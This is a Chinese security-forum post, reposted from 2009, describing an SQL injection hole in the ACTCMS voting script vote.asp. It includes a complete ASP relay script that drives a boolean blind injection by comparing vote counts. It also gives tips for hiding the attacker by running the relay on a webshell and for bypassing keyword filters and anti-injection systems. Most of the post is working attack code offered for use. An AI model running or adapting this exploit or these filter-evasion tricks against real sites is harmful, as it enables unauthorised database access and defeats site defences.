找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2538|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
! P; u" l( G4 }
看到ninty大牛的blog的一篇文章
5 N- T% t0 ?- s6 _! v; x, `, q链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
3 e# B' b4 J9 q$ Y, W2 g关于actcms漏洞的利用  by 3x qq:381862589% |4 P9 o: `, ]1 I" O, g* B
转载请注明以上
; @9 j' Q# r8 L4 o漏洞文件:
2 D  s+ V% K) A3 _  z5 w/plus/vote/vote.asp8 r* k( P  Y2 {9 R
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
, X6 t: C; a& A5 J8 H# E( k0 w* O, T2 n1 h
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   , Z& \  E+ u3 K% ~0 H, ^/ l! q

( m6 K1 Q7 D6 |, F  ?3    response.end    ' g: s; R. l3 s! p7 s

! U" f0 l$ k2 z* k7 I4    end if    7 l# I4 E0 ^, j; N
9 _. u% t9 E' W' W' I
5    for i=1 to request("voted").count   
3 B$ Y5 A1 E% W; R7 j
; V: [$ Z' q8 {% o7 E( f- W6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
( r2 X3 X! \. h: E' F2 x% U+ U4 l5 `8 K! Y/ H6 ]$ E4 X- y
7    next   
/ A7 R2 E- A' ]- Q3 m
8 n, n6 K; e7 h) K7 q9 t' _8....   
. D' u* T, Y/ g* l, y3 y- g
' a. v; U4 o) x9response.Redirect "index.asp?id="&id&""   $ M8 n1 I* S0 }* ]
投票结束回跳转回index.asp这个投票结果页面" }: {3 O# ?* [" j" {# r$ Z
如果投票成功票数加1
+ d% D1 k: l3 \: d7 v            失败票数不变$ M+ _& b# P$ k
如图:" h- @) }3 _2 K; |# r* u
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)9 o2 `0 ?$ d$ o* l  p# |- O4 J

( q9 m( R) v9 h. f# B2009-12-27 13:20
3 F8 P! m# c9 n" b- }/ l2 b) U7 H# ?; \5 D9 l% ?& s
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了$ A! W8 C+ d0 T& s( w

9 b# e% l+ P$ v本帖隐藏的内容需要回复才可以浏览% c* h7 f3 X) h' b" _5 `+ K
我们用注入中转来实现这个注入具体代码如下:
' R# X- u% L. K6 c2 p先用寂寞的刺猬大牛的注入中转生成jmget.asp1 J" T" |' r1 z- z4 ^
注入地址:http://localhost/actcms/plus/vote/vote.asp
5 u; y& y& R- o7 T注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项6 n6 Q, w6 `) d

4 h/ _( }. y- Z/ X然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
" V( X% y! D$ i9 L5 j4 @: U/ r) y# e" K5 \2 j
02JmdcwName=request("jmdcw")
$ q; r1 t2 ^1 A& o/ x$ g: \) w" g
' w& l- X1 h/ T' N. h03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
$ N3 N! m5 D8 f
6 Y! c" U( x8 B" Q3 I, p* {& V7 A04JmStr="id=1&voted=-1 or 1="&JmdcwName 1 J( _4 N0 _' q. Q8 ~
- ^) |5 T, `6 T3 k
05JmStr=URLEncoding(JmStr)
1 i. [/ K1 c# b- s; U/ D4 Z6 @0 T: }
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"! p# ]+ ]+ T: K& D# |

$ J& |' J. A" K! s: y6 O, H07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
$ f1 @  Q. x" o" e$ u0 i
* t5 q7 w, p% }6 Y- }1 S08testurl=testurl & "?" & JmStr " }  S. B- B5 M) N

. p# |  R% x+ _& V09JMUrl=JMUrl & "?" & JmStr
  G- q9 N. K* ?( N4 S. I9 r! {( a) `2 Q
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
% u1 k# X8 k0 A3 Z/ v+ _( J# k% }. y& y+ o1 C% y" m2 L. v
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"0 I8 y+ D7 V* c3 P
+ m9 t5 P- {0 F9 x: \
12JmCok=replace(JmCok,chr(32),"%20")  6 G+ s" K2 @- a3 Z8 B/ Z
8 ^3 o& A( Y; A6 I
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 Z: R5 ~& w# `

, |" q) ~/ S/ m& n. C* R7 i14  : i) E0 \8 d1 U' m8 m

* v$ v7 r0 a, Y$ U8 Z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ( K! j- R* G: H6 e$ `

7 k! X2 u7 n0 w; D16  2 Z% }5 P/ i4 r! H4 J/ X
1 }) s; l, y: @% J
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
; ^! \* _7 U8 s7 h; p) W/ O9 I( a0 f
18response.write test1&""&test2&""
; J4 d/ ]6 M' Z
, }7 F8 I/ Q3 @' \' {/ L) |19  $ r1 W  k. h2 c& A( u: J

, }" y! G/ G$ M* T" k20if test1=test2 then '如前后记录相等,表示失败
5 n# `" |: M/ Q, S1 ~: \4 V. f5 P. M2 [5 g7 `4 m
21  response.write "failed"$ O0 u* z1 l; T3 h; n
; x2 S6 G' B; |2 E# ?
22else
% P1 J4 f. o* p/ m. _, u( m6 }2 K  O4 R( ~
23  response.write "succeed"
' Q" O- W# |; z( Z# B2 |
5 G: L4 J) l8 R0 L# Z3 @24end if  
' s$ Y5 x" B$ W  I0 M; |! K: J6 Q) [4 D- g1 C( Q
25    a/ }4 l) J& D, b: ?
2 v: H7 R9 P) R" J& o+ J
26response.write "by 3x"* d$ X% [1 b. e$ n! k* y7 K- J
0 e# J* t- h( x) n
27  . f; u  D! N9 f- B$ ^

% A9 }9 X! ?# l2 ^5 b28  
) R1 k: V+ `0 E  t. H, D; i0 G7 h
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
3 h- l" ]% a% A! n
" s# Z. V: o, @# ^30Dim Http 3 V0 h9 b; w1 {) c5 V

1 T' m8 M* P, z* H  M4 _31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 f( p1 Q* R# v2 U" J4 z3 j
/ r8 y" b, ?; M! Y7 ^3 }" O32With Http
$ N6 k" Y5 f( P$ D5 R" a# ]" y( \
7 q1 \/ E; z" b/ j: w. y3 x9 j33  # [& H: \' e" X

4 \! v/ o& X6 h" K8 _) W- h$ \: {34.Open "GET",PostUrl,False
: q# S0 P6 ~/ S8 M, \; e/ O; O! D/ ?6 j# H' s
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
% j' @$ G$ a3 E) F5 j4 F9 x& F; X$ I+ ~# |& B
36.SetRequestHeader "Referer",PostRef
" o8 T$ V# J% o0 Z$ |
( c4 I1 V* z2 n7 O9 t: j37.SetRequestHeader "Cookie",PostCok 7 |& v: i/ B  o9 V6 `: X

) C) }# c0 f0 g1 C8 a38.Send ()   E3 ]8 t! c. m2 Q

5 v! K. P* G/ ~8 h. E39PostData = .ResponseBody 5 U& Z0 Z# {2 }- L" b7 b9 ?# q1 \
/ x' }6 ^8 S( J; J( L! ?
40End With
' h' n! V( j8 [$ K2 X
2 V) ^! y; a4 |- s6 Y: ]41Set Http = Nothing
' K. K+ v! u: h6 ^8 L. S3 c" n- ]( E9 f% B+ ~1 X
42PostData =bytes2BSTR(PostData)
2 b$ B* Y: r% Q/ N9 ]
+ M9 C* `/ v9 W' i( t& q7 I43End Function6 `& q, O- v% c9 x

. [# p" H" K, G7 @' S3 F3 C44  
: e; v2 F! c! h; E/ r
& p: a, q4 H; v' M8 z/ N- g% a45  9 l, h' X- S+ g8 q' [+ c: h/ J( a
0 x4 `$ Q0 A. \
46Function bytes2BSTR(vIn) , k, C0 G, s7 R! P1 T
6 j4 m5 \/ _8 |* ^. U
47Dim strReturn 0 o( F$ P1 _! L, P: ~  Q) D

9 @9 j; c4 {; H$ L0 ^( l6 U; r  u" g48Dim I, ThisCharCode, NextCharCode
4 y6 a2 l5 z2 l: G3 N0 t
4 \4 q) v, R5 r4 \, C/ B7 m0 b49strReturn = ""
  X  q& M$ K. O# D& i# m
# o$ B. ^9 v& P. z, @/ [- M9 [3 |50For I = 1 To LenB(vIn) * M* F6 Z) o5 [3 \

! H5 q$ v, W/ J3 s% i* H51ThisCharCode = AscB(MidB(vIn, I, 1))
$ C! V# A. t8 ]; l8 i
9 L$ [/ |. e, Z- ^5 Z9 j; K/ R52If ThisCharCode < &H80 Then3 @& `% A3 d# z- z" G  W3 N
: b2 {2 K+ g$ i3 g
53strReturn = strReturn & Chr(ThisCharCode)
; ^1 c$ i+ Z" q8 M; l& T$ _. c6 j7 C0 e* }8 p+ B" b3 w
54Else6 a  j0 K6 T! m7 s
+ ]* y8 c$ C) N, R4 h1 ?* Q
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
1 c5 @' O1 G6 R0 ~5 I5 H( t6 b1 D2 q) g1 C. l9 e# O
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
8 `' W. _" N: W& r3 C# l2 `, g; W; u
, [) t7 ^; a  l6 E: t57I = I + 1 & ?$ a' L$ W& L% h

$ E8 A8 ]# Y+ W0 P9 p58End If6 T+ s7 r) L* k5 z5 R4 b
) z0 W+ J. u3 x) r3 c  W% S3 f- t0 p
59Next# I" q+ d0 D2 _

+ `6 ~" H5 Y3 m/ E3 c( S  \! X; o60bytes2BSTR = strReturn
  v( C; D' _$ I& K& q
. Z+ [+ W& `# u2 y1 b) f61End Function7 U! Z; t# B" a. I4 j. d9 Z4 d
( R( `- {/ _0 v/ v$ n9 _  u
62  ' @1 B6 i; ~' `  U

  ?- C4 H2 O# ]63Function URLEncoding(vstrin)  * X, n/ ^$ q6 @4 |; l5 F

7 K: X+ S" p6 `" Q0 s" h64strReturn=""+ d, y9 j$ h8 d; e  F, o9 Z$ t% y

2 k2 i! Z: g9 ^+ |& `' K; A9 H65Dim i
+ F' M" a5 s) x/ ?/ ?, [% Q
+ ^* D! F( j. |, ~1 x6 N66For i=1 To Len(vstrin) ; [' C1 r) U5 n

  T  T; ]' k; }* N9 B& a1 q* u67ThisChr=Mid(vstrin,i,1) ' j0 B9 p4 [5 [0 X% C

' V  d! p3 R+ C7 f& h# F68if Abs(Asc(ThisChr))< &HFF Then6 D; q/ ], y( i7 i
& _# o; ?8 b* H6 k9 k$ y
69strReturn=strReturn & ThisChr 8 p, a0 h+ Q1 b: l7 r! v: H
- q) @- D, Q9 ~; b7 ]% |
70Else
  y# V1 K- Y0 z$ w4 p# V# Z3 W: _
71InnerCode=Asc(ThisChr)
) y8 h8 H; s; J! Z- p" w1 q" q+ q' O( k: s
72If InnerCode<0 Then
9 B( H$ G5 g0 x1 a# o. m' R: u8 ^7 @+ G# |/ K1 @0 `/ }
73InnerCode=InnerCode + &H10000 ( w# c; {# r4 D7 v/ B* ?) Z8 n
$ e6 O3 A) W& {* P& j. w
74End If  c$ f6 F/ m, v. e8 Q

+ X; J7 P+ G/ V. w: A75Hight1=(InnerCode And &HFF00) \&HFF 5 M, ^1 H9 C; o" R% J+ D
% [' {; Z' _. m8 ]% \: y
76Low1=InnerCode And &HFF
- m; A6 `6 y+ X8 j1 _5 n; z! Z/ d$ Y" h7 I# G
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 3 D: v% {+ e5 ~4 A# X0 t

2 D' u" t: s2 Z% q1 O9 s; n78End if
) L* b7 S0 E. \& u) ]" E/ V. {8 n- _% N% {
79Next
" L$ z6 w# q, Q1 Y, R# `0 m/ A" |. Z
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
; {! |9 y3 Y+ S/ o3 Y( P; i: I, |/ M5 o. @
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
1 ?: q# k6 U$ T
" o" J& d/ D! m( A& P82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
  o3 ?/ A9 L7 [9 t8 C- |( E2 a$ k9 x" r6 [; b( y( _
83URLEncoding=strReturn
3 z8 P& x, W. i; i% W* P; D; X! X' ~5 a, D) U
84End Function  p* T# n3 V3 s0 a: H0 J4 b2 v( m

/ D4 \9 K7 S. c85    M1 N5 G8 T; x

- Y/ a! ~. t& o/ W86function getSt(body) / ^: t9 a0 e# F6 A' h9 I  {4 B7 [

; T2 b" V+ @+ }, X9 \8 g1 [87  startpot=instr(body,"投票人数:")+len("投票人数:")
- ~. U0 P$ j. \6 F4 c3 i- |( A7 S; g( a  ^  M
88  endpot=instr(startpot,body," ")
& z! V, n+ y3 ~& g, }* \/ I3 o1 v: q& q8 L
89  getSt=mid(body,startpot,endpot-startpot)
% `! Q7 z: r0 G. K' v6 |8 [8 q+ y3 F8 J4 G% a. O- r
90end function 7 _4 l- C' B- O/ F
+ E2 `3 k& J; L- i( o) L
91%>. Z* `, U% h/ q* g
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了( q; b& y7 R9 v2 z+ q5 w- n: x
测试下效果:+ D$ I" v8 Z! L
投票成功:
! P/ U6 I2 m8 e9 P# ^/ @! `1 n7 vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)2 ]7 ^7 b/ A7 d- g# @

' N0 Z( q/ a* `1 a/ L% K8 d# H5 K2009-12-27 13:293 X1 }) r. b0 H! S8 ^/ Z2 U2 W/ |
投票失败
' Z1 q, i- K# H% e, ^' Hhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)0 y! r# P1 g3 {3 }3 S
5 ^: T/ W$ ^' Y* `/ |8 Q
2009-12-27 13:29
/ c- l6 m- p  |1 l-------------------------------------------------------------------------------; i( t; S: ~2 Z
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
' ?0 }$ t6 n( ?很抱歉。。。只能用单线程工具去注入。。。。。6 p# {1 ~3 p  y% l5 G5 T
所以失败。。。不好意思。。。
# Z4 z& v5 t0 t. Y" }-------------------------------------------------------------------------------6 T: m& s- V& g) ]5 C

0 [& E* p3 [1 K% E注入中转的一些其他应用6 ?+ m* v, W, N* `; [3 I- @& u
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了2 n1 v1 w8 c4 `0 z- X
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
# e5 Z4 c& ^2 t+ t! X2.post注入转成get型的注入,方便我们使用工具来跑
% |: Y" Q( F5 m" c. f3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
  ^8 v  F6 X, L) v- x' |; h4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
2 R( u* V3 ^5 P3 u) R
" G. V" @' @4 e& P5 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表